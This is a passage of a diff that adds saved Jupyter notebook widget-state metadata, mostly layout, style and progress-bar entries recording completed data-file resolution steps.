"DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "5dd098e322264b2394134b40b7911cc1": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1594e53020c44d53a034a61849f78dcc": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "5840ce91a0444924b6c4163e69ae27e4": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "63a3932c41294fa29ef2c7f15778bed6": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "dfae6990fa884f9fa6f4c87c066ee755": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_321a0e1e91b64e0dad1d477a2c43e23e", + "IPY_MODEL_32e54fe28f2f4cccaff447ce9ef7c06f", + "IPY_MODEL_2b14498cf8b0494e9e2e0811b46f54bb" + ], + "layout": "IPY_MODEL_674e9f6cc69449cfba4945405595d701" + } + }, + "321a0e1e91b64e0dad1d477a2c43e23e": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_220d07d0e921487ab80efddc00fc2266", + "placeholder": "​", + "style": "IPY_MODEL_b9522ba2b7224356853cb6a7aad3ac9c", + "value": "100%" + } + }, + "32e54fe28f2f4cccaff447ce9ef7c06f": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_34a8a32af56f4a1fb533c10cf9fb19df", + "max": 2, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_d2124b2edfcd4a13ab43c80e8c47c370", + "value": 2 + } + }, + "2b14498cf8b0494e9e2e0811b46f54bb": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_df00071dc70c4876a173d05fd3d69cc5", + "placeholder": "​", + "style": "IPY_MODEL_85b91e440a6c49ccabd656bf7f0aa460", + "value": " 2/2 [00:00<00:00, 1.13it/s]" + } + }, + "674e9f6cc69449cfba4945405595d701": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "220d07d0e921487ab80efddc00fc2266": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b9522ba2b7224356853cb6a7aad3ac9c": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "34a8a32af56f4a1fb533c10cf9fb19df": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d2124b2edfcd4a13ab43c80e8c47c370": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "df00071dc70c4876a173d05fd3d69cc5": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "85b91e440a6c49ccabd656bf7f0aa460": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "38389509624645cf977798472b81886c": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_7814affd5f7c4d37922f6729bd43e80e", + "IPY_MODEL_b50f4aafb0b04804996bc53c470abec7", + "IPY_MODEL_3858fb5541764508a41a4ad515b4a8ed" + ], + "layout": "IPY_MODEL_0c45f0e8448843eb924ae8c30f596b48" + } + }, + "7814affd5f7c4d37922f6729bd43e80e": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c964271a79a54d15b592d9d112e30ee4", + "placeholder": "​", + "style": "IPY_MODEL_9da2abd12ac948faab8e5eb33a4f2dcc", + "value": "Resolving data files: 100%" + } + }, + "b50f4aafb0b04804996bc53c470abec7": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_64be2fb177104b59b448e44f0b556132", + "max": 2000, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_1654fb11f5be495395999ad6a6c31ebb", + "value": 2000 + } + }, + "3858fb5541764508a41a4ad515b4a8ed": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b9ba1b7fc4d44b5f953ee60193de735a", + "placeholder": "​", + "style": "IPY_MODEL_2e6f253fc8e9450fad110fc47510c111", + "value": " 2000/2000 [00:00<00:00, 25298.90it/s]" + } + }, + "0c45f0e8448843eb924ae8c30f596b48": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c964271a79a54d15b592d9d112e30ee4": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9da2abd12ac948faab8e5eb33a4f2dcc": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "64be2fb177104b59b448e44f0b556132": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1654fb11f5be495395999ad6a6c31ebb": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "b9ba1b7fc4d44b5f953ee60193de735a": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2e6f253fc8e9450fad110fc47510c111": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e9657262a4714ecf8884f6354f32c6a3": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_f503ed30c9ed4b1a84e3b3110f5671c8", + "IPY_MODEL_e089f32f5c0e40989a6f036ed8df44a3", + "IPY_MODEL_a5ca7aa6e2d1434ba84e75555806f79b" + ], + "layout": "IPY_MODEL_fc3dd9a26c044045949264eaa26da93f" + } + }, + "f503ed30c9ed4b1a84e3b3110f5671c8": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ae9cfa0636354fd3a663f80c022c0b38", + "placeholder": "​", + "style": "IPY_MODEL_137a450619fc4630b7754d3539908288", + "value": "Resolving data files: 100%" + } + }, + "e089f32f5c0e40989a6f036ed8df44a3": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c00d60b00d2f4d22be325af0cb10b234", + "max": 600, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_c9518d498ce54f2c9bafde7914ddc51b", + "value": 600 + } + }, + "a5ca7aa6e2d1434ba84e75555806f79b": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ec62031c9a6240069a52da7354173622", + "placeholder": "​", + "style": "IPY_MODEL_4706d251c340427ebb468e4d8a333031", + "value": " 600/600 [00:00<00:00, 21124.67it/s]" + } + }, + "fc3dd9a26c044045949264eaa26da93f": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ae9cfa0636354fd3a663f80c022c0b38": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "137a450619fc4630b7754d3539908288": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c00d60b00d2f4d22be325af0cb10b234": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c9518d498ce54f2c9bafde7914ddc51b": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "ec62031c9a6240069a52da7354173622": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4706d251c340427ebb468e4d8a333031": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "b799085f7ff84b4496a64587066d4645": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_b3324a67f18449faaec765ea2248a6d8", + "IPY_MODEL_bd77d6d98d0249b3bc99c94d46e7d7a1", + "IPY_MODEL_8060cd481cdd4229878a871e9ae411d5" + ], + "layout": "IPY_MODEL_5a2db2886a72478da3ec0b67f8e88c48" + } + }, + "b3324a67f18449faaec765ea2248a6d8": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a99e7f4228fb4a8e8589e30677ccde74", + "placeholder": "​", + "style": "IPY_MODEL_c4f8b2b6f66c4108a12944505952c1ea", + "value": "Resolving data files: 100%" + } + }, + "bd77d6d98d0249b3bc99c94d46e7d7a1": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c069ba18441347d2875a8c366b23c3ff", + "max": 150, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_0cafd43406ac46c6b307adb6c36746df", + "value": 150 + } + }, + "8060cd481cdd4229878a871e9ae411d5": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": 